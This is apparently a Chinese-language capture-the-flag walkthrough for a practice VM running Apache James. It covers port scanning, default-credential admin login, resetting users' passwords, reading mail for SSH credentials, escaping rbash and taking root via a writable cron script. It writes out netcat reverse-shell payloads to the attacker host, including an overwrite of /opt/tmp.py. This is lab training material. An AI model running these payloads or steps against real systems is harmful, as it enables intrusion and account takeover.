ip a
看一下网卡
netdiscover -i eth0 -r 192.168.100.0/24
可以看到靶机地址为192.168.100.5
2.nmap进行靶机端口服务扫描
nmap -sS -Pn -A -p- -n 192.168.100.5
-sS SYN 扫描,半连接
-Pn 跳过Ping扫描阶段
-A 全面扫描
-p- 全端口
-n 禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间
可以看到靶机开放了22/ssh、25/smtp、80/http、110/pop3、119/nntp、4555/james-admin 端口服务
3.根据端口服务进行信息收集
(1)80/http端口
我们访问下80页面进行下信息收集:查看源码、dirb扫描
但是没收集到有用的信息,80端口没啥东西!!!!
(2)4555/james-admin端口
开放的4555端口存在远程命令执行漏洞
使用nc命令进行远程连接:
nc 192.168.100.5 4555
输入id=root、password=root
nc的作用:
(1)实现任意TCP/UDP端口的侦听
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速
键入help命令查看,发现可以执行listusers(列出用户名),setpassword(重置密码)等操作; Remote Admin Service(远程管理服务)
使用listusers命令,发现存在5位用户
使用setpassword命令将5位用户的密码均重置为1234
setpassword 【用户名】【密码】
然后使用其他命令进行信息收集,并未从4555端口发现其他有价值的信息!!!
(3)110/POP3端口
POP3服务器是遵循POP3协议的接收邮件服务器,用于接收电子邮件
使用telnet命令进行远程登陆
telnet 192.168.100.5 110
输入:
user [用户名]
pass [密码]
list(输出文件列)
使用retr命令下载文件
RETR和STOR命令是FTP协议中的下载和上传命令,可以针对文件和目录
在使用retr 2 命令后,我们可以看到mindy用户的账号密码!!(猜测用于ssh登录)
mindy//P@55W0rd1!2@
依次登录5位用户,查看用户目录下的信息,使用retr命令下载文件,并在数据窗口中可以看到指定下载文件的内容
在110/POP3端口,我们发现了mindy用户的ssh登录账号密码,在其他用户下并没有有价值的线索!!!
(4)22/ssh端口
我们使用刚刚获取到的mindy用户的账号密码,进行ssh远程连接
但执行whoami发现为rbash(受限制的shell),ls发现存在user.txt,cat查看发现存在一个flag!!!
双击Tab键,终端会显示当前用户可执行的命令:
cat etc/passwd可以看到mindy用户可以利用/bin/rbash/进行反向shell提权
rbash(受限制的shell),有很多基础的命令都执行不了,我们可以通过下面两种方式进行绕过:
一、exp利用
使用searchsploit搜寻版本漏洞,cp脚本文件下载到kali中:
通过searchsploit搜索james
searchsploit james
查看35513.py 远程命令执行脚本
searchsploit -m 35513.py
vi 35513.py
可以看到payload
修改payload
nc -e /bin/sh 192.168.100.4 1234
payload为本地kali的ip地址和nc监听端口
执行脚本文件:
python 35513.py [ip]
再次使用ssh登录,可以看到脚本文件开始编译执行,我们在kali中设置nc监听:
可以看到成功监听,id查看为mindy用户权限;
二、一句话绕过
ssh mindy@192.168.100.5 "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/sh\")'"
4.提权操作
找权限777的文件的时候发现了一个叫tmp.py的文件
find / -perm 777 -type f 2>/dev/null
其作用为删除/tmp目录下所有文件,看上去是个非常有可能成为定时任务的脚本
反弹shell成功
根据前面的邮件提示信息,获得ssh的登录凭证是从James那里获取的,所以查看对应用户的进程运行情况
ps aux | grep james
显示了opt作为根进程,cd进入opt文件夹
存在一个python程序tmp.py程序可以利用,属于root权限,那么我们将它更改程序执行命令的提权代码:
很容易就会想到插入一句话反弹。但要注意一个问题。目前root是隔几分钟就会运行tmp.py去删除/tmp目录下的内容,而我作为mindy用户也可以直接python起手直接删了/tmp目录里面的内容。
但不同的点在于一个是mindy,一个是root。假如说我们插入python反弹shell进入tmp.py以后直接运行是以mindy用户运行反弹文件。那接收的shell也是mindy的。不会直接越级,而只有当root运行反弹python脚本以后,接收过来的才是root权限。
echo 'import os; os.system("nc 192.168.100.4 12345 -e /bin/bash")' > /opt/tmp.py
最后啥也不做直接开nc等shell回来就变成root了
5.靶场总结
在本次实验中,靶机开放了许多新颖的端口服务,通过端口服务进行信息收集,在4555端口存在远程代码执行,我们在4555端口得到用户名,并重置了用户密码;在pop3服务中,查看到邮件信息,得到下一步ssh的登陆账号密码;
以及在ssh登陆成功后,受限制的rbash绕过是本次实验的特点,我们可以使用一句话绕过,也可以exp绕过;
请登录后查看评论内容